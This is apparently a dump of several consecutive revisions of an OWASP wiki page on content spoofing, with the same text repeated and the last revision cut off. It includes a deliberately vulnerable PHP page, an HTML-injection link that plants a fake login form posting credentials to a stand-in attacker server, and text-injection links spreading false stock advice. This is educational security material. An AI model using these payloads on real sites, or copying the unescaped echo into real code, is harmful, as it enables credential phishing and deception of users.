==Description==<br />
<br />
Content spoofing, also referred to as ''content injection'', "arbitrary text injection" or ''virtual defacement'', is an attack targeting a user made possible by an injection vulnerability in a web application. When an application does not properly handle user-supplied data, an attacker can supply content to a web application, typically via a parameter value, that is reflected back to the user. This presents the user with a modified page under the context of the trusted domain.<br><br />
<br />
This attack is typically used as, or in conjunction with, social engineering because the attack is exploiting a code-based vulnerability and a user's trust.<br />
<br />
==Risk Factors==<br />
<br />
Risk factors depend on the business type of the application. If the application business brand is well known and has major competitors, this issue can be abused by malicious competitors/disgruntled employees/unsatisfied customers to trigger mass distributions of false messages to unsuspecting customers. By doing so, customers could be forced to switch to competitor's products. This could lead to loss of thousands of monetary value until rectification is properly done by the victim business.<br />
<br />
==Attack Scenario==<br />
<br />
An attacker compromised social accounts which have thousands of followers and distribute misleading Content Spoofing payload via Twitter/Facebook/Instagram/ similar popular channel.<br />
<br />
==Applicable Industries ==<br />
<br />
* A business entity selling one type of product as a major business function<br />
For example, Taxi hailing business, Online shopping business, Online service business<br />
<br />
* A business entity relying on the brand name <br />
For example, Cosmetic brand, Airline brand<br />
<br />
==[[Threat Agents]]==<br />
<br />
* Malicious competitors<br />
* Disgruntled employees<br />
* Unsatisfied customers<br />
<br />
== Content Spoofing vs. Cross-site Scripting<br> ==<br />
Content spoofing is an attack that is closely related to [[Cross-site Scripting (XSS)]]. While XSS uses [https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet <script> and other techniques] to run JavaScript, content spoofing uses other techniques to modify the page for malicious reasons.<br />
<br />
Even if XSS mitigation techniques are used within the web application, such as proper output encoding, the application can still be vulnerable to text based content spoofing attacks.<br />
<br />
==Examples==<br />
<br />
<br />
===Hypertext Markup Language (HTML) Injection===<br />
<br />
A possible attack scenario is demonstrated below. For this scenario, lets assumes no output encoding is being implemented:<br />
<br />
# Attacker discovers injection vulnerability and decides to spoof a login form<br />
# Attacker crafts malicious link, including his injected HTML content, and sends it to a user via email<br />
# The user visits the page due to the page being located within a trusted domain<br />
# The attacker's injected HTML is rendered and presented to the user asking for a username and password<br />
# The user enters a username and password, which are both sent to the attackers server<br />
<br />
<br />
: A simple PHP page containing an injection vulnerability via the ''name'' parameter:<br />
<br />
<pre><br />
<?php<br />
$name = $_REQUEST ['name'];<br />
?><br />
<html><br />
<h1>Welcome to the Internet!</h1><br />
<br><br />
<body><br />
Hello, <?php echo $name; ?>!<br />
<p>We are so glad you are here!</p><br />
</body><br />
</html><br />
</pre><br />
<br />
The page functionality can be tested by making the following GET request to the page:<br />
<br />
<pre><br />
http://127.0.0.1/vulnerable.php?name=test<br />
</pre><br />
<br />
By requesting the link below, the page renders the injected HTML, presents a login form, and comments out the rest of the page after the injection point. Once a user enters their username and password, the values are sent to a page named ''login.php'' on the attacker's server via POST.<br />
<br />
<pre><br />
http://127.0.0.1/vulnerable.php?name=<h3>Please Enter Your Username and Password to Proceed:</h3><form method="POST" <br />
action="http://attackerserver/login.php">Username: <input type="text" name="username" /><br />Password: <input type="password" <br />
name="password" /><br /><input type="submit" value="Login" /></form><!--<br />
</pre><br />
<br />
<br />
===Text Injection===<br />
<br />
Another example of a content spoofing attack would be to present false information to a user via text manipulation. An attack scenario is demonstrated below. For this scenario, lets assume proper output encoding HAS been implemented and XSS is not possible:<br />
<br />
#An attacker identifies a web application that gives recommendations to its users on whether they should buy or sell a particular stock<br />
#The attacker identifies a vulnerable parameter<br />
#The attacker crafts a malicious link by slightly modifying a valid request<br />
#The link containing the modified request is sent to a user and they clicks the link<br />
#A valid webpage is created using the attackers malicious recommendation and the user believes the recommendation was from the stock website<br />
<br />
<br />
'''Valid Page'''<br />
<pre><br />
http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=We+Recommend+You+Buy+Now<br />
</pre><br />
<br />
'''Modified Page'''<br />
<pre><br />
http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=We+Really+Recommend+You+Sell+This+Stock+Now<br />
</pre><br />
<br />
Other example:<br />
<br />
'''Modified Page'''<br />
<pre><br />
http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=Our+site+has+experienced+major+hacking+incident.Please+use+our+competitor+site+http://www.competitor.com+until+we+further+announced+for+update.<br />
</pre><br />
<br />
==Related [[Attacks]]==<br />
<br />
* [[Cross-site Scripting (XSS)]]<br />
* [[:Category:Injection Attack]]<br />
<br />
<br />
==Related [[Vulnerabilities]]==<br />
<br />
* [[:Category:Input Validation Vulnerability]]<br />
* [[Improper Data Validation]]<br />
<br />
<br />
<br />
==Related [[Controls]]==<br />
<br />
* [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]<br />
<br />
<br />
==References==<br />
<br />
* http://capec.mitre.org/data/definitions/148.html<br />
* http://projects.webappsec.org/w/page/13246917/Content%20Spoofing<br />
* http://itlaw.wikia.com/wiki/Content_injection_attack<br />
* CERT Advisory on Malicious HTML Tags: http://www.cert.org/advisories/CA-2000-02.html<br />
* OWASP's [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]<br />
* OWASP Guide to Building Secure Web Applications and Web Services, Chapter 8: [[Data_Validation|Data Validation]]<br />
* HTML Code Injection and Cross-site Scripting: http://www.technicalinfo.net/papers/CSS.html<br />
<br />
[[Category:Injection]]<br />
[[Category:Attack]]</div>D0ubl3 h3lixhttps://wiki.owasp.org/index.php?title=Content_Spoofing&diff=238297Content Spoofing2018-03-03T11:20:58Z<p>D0ubl3 h3lix: /* Text Injection */</p>
<hr />
<div>{{Template:Attack}}<br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
<br />
<br />
==Description==<br />
<br />
Content spoofing, also referred to as ''content injection'', "arbitrary text injection" or ''virtual defacement'', is an attack targeting a user made possible by an injection vulnerability in a web application. When an application does not properly handle user-supplied data, an attacker can supply content to a web application, typically via a parameter value, that is reflected back to the user. This presents the user with a modified page under the context of the trusted domain.<br><br />
<br />
This attack is typically used as, or in conjunction with, social engineering because the attack is exploiting a code-based vulnerability and a user's trust.<br />
<br />
==Risk Factors==<br />
<br />
Risk factors depend on the business type of the application. If the application business brand is well known and has major competitors, this issue can be abused by malicious competitors/disgruntled employees/unsatisfied customers to trigger mass distributions of false messages to unsuspecting customers. By doing so, customers could be forced to switch to competitor's products. This could lead to loss of thousands of monetary value until rectification is properly done by the victim business.<br />
<br />
==Attack Scenario==<br />
<br />
An attacker compromised social accounts which have thousands of followers and distribute misleading Content Spoofing payload via Twitter/Facebook/Instagram/ similar popular channel.<br />
<br />
==Applicable Industries ==<br />
<br />
* A business entity selling one type of product as a major business function<br />
For example, Taxi hailing business, Online shopping business, Online service business<br />
<br />
* A business entity relying on the brand name <br />
For example, Cosmetic brand, Airline brand<br />
<br />
==[[Threat Agents]]==<br />
<br />
* Malicious competitors<br />
* Disgruntled employees<br />
* Unsatisfied customers<br />
<br />
== Content Spoofing vs. Cross-site Scripting<br> ==<br />
Content spoofing is an attack that is closely related to [[Cross-site Scripting (XSS)]]. While XSS uses [https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet <script> and other techniques] to run JavaScript, content spoofing uses other techniques to modify the page for malicious reasons.<br />
<br />
Even if XSS mitigation techniques are used within the web application, such as proper output encoding, the application can still be vulnerable to text based content spoofing attacks.<br />
<br />
==Examples==<br />
<br />
<br />
===Hypertext Markup Language (HTML) Injection===<br />
<br />
A possible attack scenario is demonstrated below. For this scenario, lets assumes no output encoding is being implemented:<br />
<br />
# Attacker discovers injection vulnerability and decides to spoof a login form<br />
# Attacker crafts malicious link, including his injected HTML content, and sends it to a user via email<br />
# The user visits the page due to the page being located within a trusted domain<br />
# The attacker's injected HTML is rendered and presented to the user asking for a username and password<br />
# The user enters a username and password, which are both sent to the attackers server<br />
<br />
<br />
: A simple PHP page containing an injection vulnerability via the ''name'' parameter:<br />
<br />
<pre><br />
<?php<br />
$name = $_REQUEST ['name'];<br />
?><br />
<html><br />
<h1>Welcome to the Internet!</h1><br />
<br><br />
<body><br />
Hello, <?php echo $name; ?>!<br />
<p>We are so glad you are here!</p><br />
</body><br />
</html><br />
</pre><br />
<br />
The page functionality can be tested by making the following GET request to the page:<br />
<br />
<pre><br />
http://127.0.0.1/vulnerable.php?name=test<br />
</pre><br />
<br />
By requesting the link below, the page renders the injected HTML, presents a login form, and comments out the rest of the page after the injection point. Once a user enters their username and password, the values are sent to a page named ''login.php'' on the attacker's server via POST.<br />
<br />
<pre><br />
http://127.0.0.1/vulnerable.php?name=<h3>Please Enter Your Username and Password to Proceed:</h3><form method="POST" <br />
action="http://attackerserver/login.php">Username: <input type="text" name="username" /><br />Password: <input type="password" <br />
name="password" /><br /><input type="submit" value="Login" /></form><!--<br />
</pre><br />
<br />
<br />
===Text Injection===<br />
<br />
Another example of a content spoofing attack would be to present false information to a user via text manipulation. An attack scenario is demonstrated below. For this scenario, lets assume proper output encoding HAS been implemented and XSS is not possible:<br />
<br />
#An attacker identifies a web application that gives recommendations to its users on whether they should buy or sell a particular stock<br />
#The attacker identifies a vulnerable parameter<br />
#The attacker crafts a malicious link by slightly modifying a valid request<br />
#The link containing the modified request is sent to a user and they clicks the link<br />
#A valid webpage is created using the attackers malicious recommendation and the user believes the recommendation was from the stock website<br />
<br />
<br />
'''Valid Page'''<br />
<pre><br />
http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=We+Recommend+You+Buy+Now<br />
</pre><br />
<br />
'''Modified Page'''<br />
<pre><br />
http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=We+Really+Recommend+You+Sell+This+Stock+Now<br />
</pre><br />
<br />
Other example:<br />
<br />
'''Modified Page'''<br />
<pre><br />
http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=Our+site+has+experienced+major+hacking+incident.Please+use+our+competitor+site+http://www.competitor.com+until+we+further+annouced+for+update.<br />
<br />
==Related [[Attacks]]==<br />
<br />
* [[Cross-site Scripting (XSS)]]<br />
* [[:Category:Injection Attack]]<br />
<br />
<br />
==Related [[Vulnerabilities]]==<br />
<br />
* [[:Category:Input Validation Vulnerability]]<br />
* [[Improper Data Validation]]<br />
<br />
<br />
<br />
==Related [[Controls]]==<br />
<br />
* [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]<br />
<br />
<br />
==References==<br />
<br />
* http://capec.mitre.org/data/definitions/148.html<br />
* http://projects.webappsec.org/w/page/13246917/Content%20Spoofing<br />
* http://itlaw.wikia.com/wiki/Content_injection_attack<br />
* CERT Advisory on Malicious HTML Tags: http://www.cert.org/advisories/CA-2000-02.html<br />
* OWASP's [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]<br />
* OWASP Guide to Building Secure Web Applications and Web Services, Chapter 8: [[Data_Validation|Data Validation]]<br />
* HTML Code Injection and Cross-site Scripting: http://www.technicalinfo.net/papers/CSS.html<br />
<br />
[[Category:Injection]]<br />
[[Category:Attack]]</div>D0ubl3 h3lixhttps://wiki.owasp.org/index.php?title=Content_Spoofing&diff=238296Content Spoofing2018-03-03T11:17:35Z<p>D0ubl3 h3lix: /* Applicable Industries */</p>
<hr />
<div>{{Template:Attack}}<br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
<br />
<br />
==Description==<br />
<br />
Content spoofing, also referred to as ''content injection'', "arbitrary text injection" or ''virtual defacement'', is an attack targeting a user made possible by an injection vulnerability in a web application. When an application does not properly handle user-supplied data, an attacker can supply content to a web application, typically via a parameter value, that is reflected back to the user. This presents the user with a modified page under the context of the trusted domain.<br><br />
<br />
This attack is typically used as, or in conjunction with, social engineering because the attack is exploiting a code-based vulnerability and a user's trust.<br />
<br />
==Risk Factors==<br />
<br />
Risk factors depend on the business type of the application. If the application business brand is well known and has major competitors, this issue can be abused by malicious competitors/disgruntled employees/unsatisfied customers to trigger mass distributions of false messages to unsuspecting customers. By doing so, customers could be forced to switch to competitor's products. This could lead to loss of thousands of monetary value until rectification is properly done by the victim business.<br />
<br />
==Attack Scenario==<br />
<br />
An attacker compromised social accounts which have thousands of followers and distribute misleading Content Spoofing payload via Twitter/Facebook/Instagram/ similar popular channel.<br />
<br />
==Applicable Industries ==<br />
<br />
* A business entity selling one type of product as a major business function<br />
For example, Taxi hailing business, Online shopping business, Online service business<br />
<br />
* A business entity relying on the brand name <br />
For example, Cosmetic brand, Airline brand<br />
<br />
==[[Threat Agents]]==<br />
<br />
* Malicious competitors<br />
* Disgruntled employees<br />
* Unsatisfied customers<br />
<br />
== Content Spoofing vs. Cross-site Scripting<br> ==<br />
Content spoofing is an attack that is closely related to [[Cross-site Scripting (XSS)]]. While XSS uses [https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet <script> and other techniques] to run JavaScript, content spoofing uses other techniques to modify the page for malicious reasons.<br />
<br />
Even if XSS mitigation techniques are used within the web application, such as proper output encoding, the application can still be vulnerable to text based content spoofing attacks.<br />
<br />
==Examples==<br />
<br />
<br />
===Hypertext Markup Language (HTML) Injection===<br />
<br />
A possible attack scenario is demonstrated below. For this scenario, lets assumes no output encoding is being implemented:<br />
<br />
# Attacker discovers injection vulnerability and decides to spoof a login form<br />
# Attacker crafts malicious link, including his injected HTML content, and sends it to a user via email<br />
# The user visits the page due to the page being located within a trusted domain<br />
# The attacker's injected HTML is rendered and presented to the user asking for a username and password<br />
# The user enters a username and password, which are both sent to the attackers server<br />
<br />
<br />
: A simple PHP page containing an injection vulnerability via the ''name'' parameter:<br />
<br />
<pre><br />
<?php<br />
$name = $_REQUEST ['name'];<br />
?><br />
<html><br />
<h1>Welcome to the Internet!</h1><br />
<br><br />
<body><br />
Hello, <?php echo $name; ?>!<br />
<p>We are so glad you are here!</p><br />
</body><br />
</html><br />
</pre><br />
<br />
The page functionality can be tested by making the following GET request to the page:<br />
<br />
<pre><br />
http://127.0.0.1/vulnerable.php?name=test<br />
</pre><br />
<br />
By requesting the link below, the page renders the injected HTML, presents a login form, and comments out the rest of the page after the injection point. Once a user enters their username and password, the values are sent to a page named ''login.php'' on the attacker's server via POST.<br />
<br />
<pre><br />
http://127.0.0.1/vulnerable.php?name=<h3>Please Enter Your Username and Password to Proceed:</h3><form method="POST" <br />
action="http://attackerserver/login.php">Username: <input type="text" name="username" /><br />Password: <input type="password" <br />
name="password" /><br /><input type="submit" value="Login" /></form><!--<br />
</pre><br />
<br />
<br />
===Text Injection===<br />
<br />
Another example of a content spoofing attack would be to present false information to a user via text manipulation. An attack scenario is demonstrated below. For this scenario, lets assume proper output encoding HAS been implemented and XSS is not possible:<br />
<br />
#An attacker identifies a web application that gives recommendations to its users on whether they should buy or sell a particular stock<br />
#The attacker identifies a vulnerable parameter<br />
#The attacker crafts a malicious link by slightly modifying a valid request<br />
#The link containing the modified request is sent to a user and they clicks the link<br />
#A valid webpage is created using the attackers malicious recommendation and the user believes the recommendation was from the stock website<br />
<br />
<br />
'''Valid Page'''<br />
<pre><br />
http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=We+Recommend+You+Buy+Now<br />
</pre><br />
<br />
'''Modified Page'''<br />
<pre><br />
http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=We+Really+Recommend+You+Sell+This+Stock+Now<br />
</pre><br />
<br />
==Related [[Attacks]]==<br />
<br />
* [[Cross-site Scripting (XSS)]]<br />
* [[:Category:Injection Attack]]<br />
<br />
<br />
==Related [[Vulnerabilities]]==<br />
<br />
* [[:Category:Input Validation Vulnerability]]<br />
* [[Improper Data Validation]]<br />
<br />
<br />
<br />
==Related [[Controls]]==<br />
<br />
* [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]<br />
<br />
<br />
==References==<br />
<br />
* http://capec.mitre.org/data/definitions/148.html<br />
* http://projects.webappsec.org/w/page/13246917/Content%20Spoofing<br />
* http://itlaw.wikia.com/wiki/Content_injection_attack<br />
* CERT Advisory on Malicious HTML Tags: http://www.cert.org/advisories/CA-2000-02.html<br />
* OWASP's [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]<br />
* OWASP Guide to Building Secure Web Applications and Web Services, Chapter 8: [[Data_Validation|Data Validation]]<br />
* HTML Code Injection and Cross-site Scripting: http://www.technicalinfo.net/papers/CSS.html<br />
<br />
[[Category:Injection]]<br />
[[Category:Attack]]</div>D0ubl3 h3lixhttps://wiki.owasp.org/index.php?title=Content_Spoofing&diff=238295Content Spoofing2018-03-03T11:17:14Z<p>D0ubl3 h3lix: /* Related Threat Agents */</p>
<hr />
<div>{{Template:Attack}}<br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
<br />
<br />
==Description==<br />
<br />
Content spoofing, also referred to as ''content injection'', "arbitrary text injection" or ''virtual defacement'', is an attack targeting a user made possible by an injection vulnerability in a web application. When an application does not properly handle user-supplied data, an attacker can supply content to a web application, typically via a parameter value, that is reflected back to the user. This presents the user with a modified page under the context of the trusted domain.<br><br />
<br />
This attack is typically used as, or in conjunction with, social engineering because the attack is exploiting a code-based vulnerability and a user's trust.<br />
<br />
==Risk Factors==<br />
<br />
Risk factors depend on the business type of the application. If the application business brand is well known and has major competitors, this issue can be abused by malicious competitors/disgruntled employees/unsatisfied customers to trigger mass distributions of false messages to unsuspecting customers. By doing so, customers could be forced to switch to competitor's products. This could lead to loss of thousands of monetary value until rectification is properly done by the victim business.<br />
<br />
==Attack Scenario==<br />
<br />
An attacker compromised social accounts which have thousands of followers and distribute misleading Content Spoofing payload via Twitter/Facebook/Instagram/ similar popular channel.<br />
<br />
==Applicable Industries ==<br />
<br />
* A business entity selling one type of product as a major business function<br />
For example, Taxi hailing business, Online shopping business, Online service business<br />
<br />
* A business entity relying on the brand name <br />
For example, Cosmetic brand, Airline brand<br />
<br />
== Content Spoofing vs. Cross-site Scripting<br> ==<br />
Content spoofing is an attack that is closely related to [[Cross-site Scripting (XSS)]]. While XSS uses [https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet <script> and other techniques] to run JavaScript, content spoofing uses other techniques to modify the page for malicious reasons.<br />
<br />
Even if XSS mitigation techniques are used within the web application, such as proper output encoding, the application can still be vulnerable to text based content spoofing attacks.<br />
<br />
==Examples==<br />
<br />
<br />
===Hypertext Markup Language (HTML) Injection===<br />
<br />
A possible attack scenario is demonstrated below. For this scenario, lets assumes no output encoding is being implemented:<br />
<br />
# Attacker discovers injection vulnerability and decides to spoof a login form<br />
# Attacker crafts malicious link, including his injected HTML content, and sends it to a user via email<br />
# The user visits the page due to the page being located within a trusted domain<br />
# The attacker's injected HTML is rendered and presented to the user asking for a username and password<br />
# The user enters a username and password, which are both sent to the attackers server<br />
<br />
<br />
: A simple PHP page containing an injection vulnerability via the ''name'' parameter:<br />
<br />
<pre><br />
<?php<br />
$name = $_REQUEST ['name'];<br />
?><br />
<html><br />
<h1>Welcome to the Internet!</h1><br />
<br><br />
<body><br />
Hello, <?php echo $name; ?>!<br />
<p>We are so glad you are here!</p><br />
</body><br />
</html><br />
</pre><br />
<br />
The page functionality can be tested by making the following GET request to the page:<br />
<br />
<pre><br />
http://127.0.0.1/vulnerable.php?name=test<br />
</pre><br />
<br />
By requesting the link below, the page renders the injected HTML, presents a login form, and comments out the rest of the page after the injection point. Once a user enters their username and password, the values are sent to a page named ''login.php'' on the attacker's server via POST.<br />
<br />
<pre><br />
http://127.0.0.1/vulnerable.php?name=<h3>Please Enter Your Username and Password to Proceed:</h3><form method="POST" <br />
action="http://attackerserver/login.php">Username: <input type="text" name="username" /><br />Password: <input type="password" <br />
name="password" /><br /><input type="submit" value="Login" /></form><!--<br />
</pre><br />
<br />
<br />
===Text Injection===<br />
<br />
Another example of a content spoofing attack would be to present false information to a user via text manipulation. An attack scenario is demonstrated below. For this scenario, lets assume proper output encoding HAS been implemented and XSS is not possible:<br />
<br />
#An attacker identifies a web application that gives recommendations to its users on whether they should buy or sell a particular stock<br />
#The attacker identifies a vulnerable parameter<br />
#The attacker crafts a malicious link by slightly modifying a valid request<br />
#The link containing the modified request is sent to a user and they clicks the link<br />
#A valid webpage is created using the attackers malicious recommendation and the user believes the recommendation was from the stock website<br />
<br />
<br />
'''Valid Page'''<br />
<pre><br />
http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=We+Recommend+You+Buy+Now<br />
</pre><br />
<br />
'''Modified Page'''<br />
<pre><br />
http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=We+Really+Recommend+You+Sell+This+Stock+Now<br />
</pre><br />
<br />
==Related [[Attacks]]==<br />
<br />
* [[Cross-site Scripting (XSS)]]<br />
* [[:Category:Injection Attack]]<br />
<br />
<br />
==Related [[Vulnerabilities]]==<br />
<br />
* [[:Category:Input Validation Vulnerability]]<br />
* [[Improper Data Validation]]<br />
<br />
<br />
<br />
==Related [[Controls]]==<br />
<br />
* [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]<br />
<br />
<br />
==References==<br />
<br />
* http://capec.mitre.org/data/definitions/148.html<br />
* http://projects.webappsec.org/w/page/13246917/Content%20Spoofing<br />
* http://itlaw.wikia.com/wiki/Content_injection_attack<br />
* CERT Advisory on Malicious HTML Tags: http://www.cert.org/advisories/CA-2000-02.html<br />
* OWASP's [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]<br />
* OWASP Guide to Building Secure Web Applications and Web Services, Chapter 8: [[Data_Validation|Data Validation]]<br />
* HTML Code Injection and Cross-site Scripting: http://www.technicalinfo.net/papers/CSS.html<br />
<br />
[[Category:Injection]]<br />
[[Category:Attack]]</div>D0ubl3 h3lixhttps://wiki.owasp.org/index.php?title=Content_Spoofing&diff=238294Content Spoofing2018-03-03T11:16:38Z<p>D0ubl3 h3lix: /* Risk Factors */</p>
<hr />
<div>{{Template:Attack}}<br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
<br />
<br />
==Description==<br />
<br />
Content spoofing, also referred to as ''content injection'', "arbitrary text injection" or ''virtual defacement'', is an attack targeting a user made possible by an injection vulnerability in a web application. When an application does not properly handle user-supplied data, an attacker can supply content to a web application, typically via a parameter value, that is reflected back to the user. This presents the user with a modified page under the context of the trusted domain.<br><br />
<br />
This attack is typically used as, or in conjunction with, social engineering because the attack is exploiting a code-based vulnerability and a user's trust.<br />
<br />
==Risk Factors==<br />
<br />
Risk factors depend on the business type of the application. If the application business brand is well known and has major competitors, this issue can be abused by malicious competitors/disgruntled employees/unsatisfied customers to trigger mass distributions of false messages to unsuspecting customers. By doing so, customers could be forced to switch to competitor's products. This could lead to loss of thousands of monetary value until rectification is properly done by the victim business.<br />
<br />
==Attack Scenario==<br />
<br />
An attacker compromised social accounts which have thousands of followers and distribute misleading Content Spoofing payload via Twitter/Facebook/Instagram/ similar popular channel.<br />
<br />
==Applicable Industries ==<br />
<br />
* A business entity selling one type of product as a major business function<br />
For example, Taxi hailing business, Online shopping business, Online service business<br />
<br />
* A business entity relying on the brand name <br />
For example, Cosmetic brand, Airline brand<br />
<br />
== Content Spoofing vs. Cross-site Scripting<br> ==<br />
Content spoofing is an attack that is closely related to [[Cross-site Scripting (XSS)]]. While XSS uses [https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet <script> and other techniques] to run JavaScript, content spoofing uses other techniques to modify the page for malicious reasons.<br />
<br />
Even if XSS mitigation techniques are used within the web application, such as proper output encoding, the application can still be vulnerable to text based content spoofing attacks.<br />
<br />
==Examples==<br />
<br />
<br />
===Hypertext Markup Language (HTML) Injection===<br />
<br />
A possible attack scenario is demonstrated below. For this scenario, lets assumes no output encoding is being implemented:<br />
<br />
# Attacker discovers injection vulnerability and decides to spoof a login form<br />
# Attacker crafts malicious link, including his injected HTML content, and sends it to a user via email<br />
# The user visits the page due to the page being located within a trusted domain<br />
# The attacker's injected HTML is rendered and presented to the user asking for a username and password<br />
# The user enters a username and password, which are both sent to the attackers server<br />
<br />
<br />
: A simple PHP page containing an injection vulnerability via the ''name'' parameter:<br />
<br />
<pre><br />
<?php<br />
$name = $_REQUEST ['name'];<br />
?><br />
<html><br />
<h1>Welcome to the Internet!</h1><br />
<br><br />
<body><br />
Hello, <?php echo $name; ?>!<br />
<p>We are so glad you are here!</p><br />
</body><br />
</html><br />
</pre><br />
<br />
The page functionality can be tested by making the following GET request to the page:<br />
<br />
<pre><br />
http://127.0.0.1/vulnerable.php?name=test<br />
</pre><br />
<br />
By requesting the link below, the page renders the injected HTML, presents a login form, and comments out the rest of the page after the injection point. Once a user enters their username and password, the values are sent to a page named ''login.php'' on the attacker's server via POST.<br />
<br />
<pre><br />
http://127.0.0.1/vulnerable.php?name=<h3>Please Enter Your Username and Password to Proceed:</h3><form method="POST" <br />
action="http://attackerserver/login.php">Username: <input type="text" name="username" /><br />Password: <input type="password" <br />
name="password" /><br /><input type="submit" value="Login" /></form><!--<br />
</pre><br />
<br />
<br />
===Text Injection===<br />
<br />
Another example of a content spoofing attack would be to present false information to a user via text manipulation. An attack scenario is demonstrated below. For this scenario, lets assume proper output encoding HAS been implemented and XSS is not possible:<br />
<br />
#An attacker identifies a web application that gives recommendations to its users on whether they should buy or sell a particular stock<br />
#The attacker identifies a vulnerable parameter<br />
#The attacker crafts a malicious link by slightly modifying a valid request<br />
#The link containing the modified request is sent to a user and they clicks the link<br />
#A valid webpage is created using the attackers malicious recommendation and the user believes the recommendation was from the stock website<br />
<br />
<br />
'''Valid Page'''<br />
<pre><br />
http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=We+Recommend+You+Buy+Now<br />
</pre><br />
<br />
'''Modified Page'''<br />
<pre><br />
http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=We+Really+Recommend+You+Sell+This+Stock+Now<br />
</pre><br />
<br />
==Related [[Threat Agents]]==<br />
<br />
* Malicious competitors<br />
* Disgruntled employees<br />
* Unsatisfied customers<br />
<br />
==Related [[Attacks]]==<br />
<br />
* [[Cross-site Scripting (XSS)]]<br />
* [[:Category:Injection Attack]]<br />
<br />
<br />
==Related [[Vulnerabilities]]==<br />
<br />
* [[:Category:Input Validation Vulnerability]]<br />
* [[Improper Data Validation]]<br />
<br />
<br />
<br />
==Related [[Controls]]==<br />
<br />
* [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]<br />
<br />
<br />
==References==<br />
<br />
* http://capec.mitre.org/data/definitions/148.html<br />
* http://projects.webappsec.org/w/page/13246917/Content%20Spoofing<br />
* http://itlaw.wikia.com/wiki/Content_injection_attack<br />
* CERT Advisory on Malicious HTML Tags: http://www.cert.org/advisories/CA-2000-02.html<br />
* OWASP's [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]<br />
* OWASP Guide to Building Secure Web Applications and Web Services, Chapter 8: [[Data_Validation|Data Validation]]<br />
* HTML Code Injection and Cross-site Scripting: http://www.technicalinfo.net/papers/CSS.html<br />
<br />
[[Category:Injection]]<br />
[[Category:Attack]]</div>D0ubl3 h3lixhttps://wiki.owasp.org/index.php?title=Content_Spoofing&diff=238293Content Spoofing2018-03-03T11:16:24Z<p>D0ubl3 h3lix: /* Attack Scenario */</p>
<hr />
<div>{{Template:Attack}}<br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
<br />
<br />
==Description==<br />
<br />
Content spoofing, also referred to as ''content injection'', "arbitrary text injection" or ''virtual defacement'', is an attack targeting a user made possible by an injection vulnerability in a web application. When an application does not properly handle user-supplied data, an attacker can supply content to a web application, typically via a parameter value, that is reflected back to the user. This presents the user with a modified page under the context of the trusted domain.<br><br />
<br />
This attack is typically used as, or in conjunction with, social engineering because the attack is exploiting a code-based vulnerability and a user's trust.<br />
<br />
==Risk Factors==<br />
<br />
Risk factors depend on the business type of the application. If the application business brand is well known and has major competitors, this issue can be abused by malicious competitors/disgruntled employees/unsatisfied customers to trigger mass distributions of false messages to unsuspecting customers. By doing so, customers could be forced to switch to competitor's products. This could lead to loss of thousands of monetary value until rectification is properly done by the victim business.<br />
<br />
==Applicable Industries ==<br />
<br />
* A business entity selling one type of product as a major business function<br />
For example, Taxi hailing business, Online shopping business, Online service business<br />
<br />
* A business entity relying on the brand name <br />
For example, Cosmetic brand, Airline brand<br />
<br />
== Content Spoofing vs. Cross-site Scripting<br> ==<br />
Content spoofing is an attack that is closely related to [[Cross-site Scripting (XSS)]]. While XSS uses [https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet <script> and other techniques] to run JavaScript, content spoofing uses other techniques to modify the page for malicious reasons.<br />
<br />
Even if XSS mitigation techniques are used within the web application, such as proper output encoding, the application can still be vulnerable to text based content spoofing attacks.<br />
<br />
==Examples==<br />
<br />
<br />
===Hypertext Markup Language (HTML) Injection===<br />
<br />
A possible attack scenario is demonstrated below. For this scenario, lets assumes no output encoding is being implemented:<br />
<br />
# Attacker discovers injection vulnerability and decides to spoof a login form<br />
# Attacker crafts malicious link, including his injected HTML content, and sends it to a user via email<br />
# The user visits the page due to the page being located within a trusted domain<br />
# The attacker's injected HTML is rendered and presented to the user asking for a username and password<br />
# The user enters a username and password, which are both sent to the attackers server<br />
<br />
<br />
: A simple PHP page containing an injection vulnerability via the ''name'' parameter:<br />
<br />
<pre><br />
<?php<br />
$name = $_REQUEST ['name'];<br />
?><br />
<html><br />
<h1>Welcome to the Internet!</h1><br />
<br><br />
<body><br />
Hello, <?php echo $name; ?>!<br />
<p>We are so glad you are here!</p><br />
</body><br />
</html><br />
</pre><br />
<br />
The page functionality can be tested by making the following GET request to the page:<br />
<br />
<pre><br />
http://127.0.0.1/vulnerable.php?name=test<br />
</pre><br />
<br />
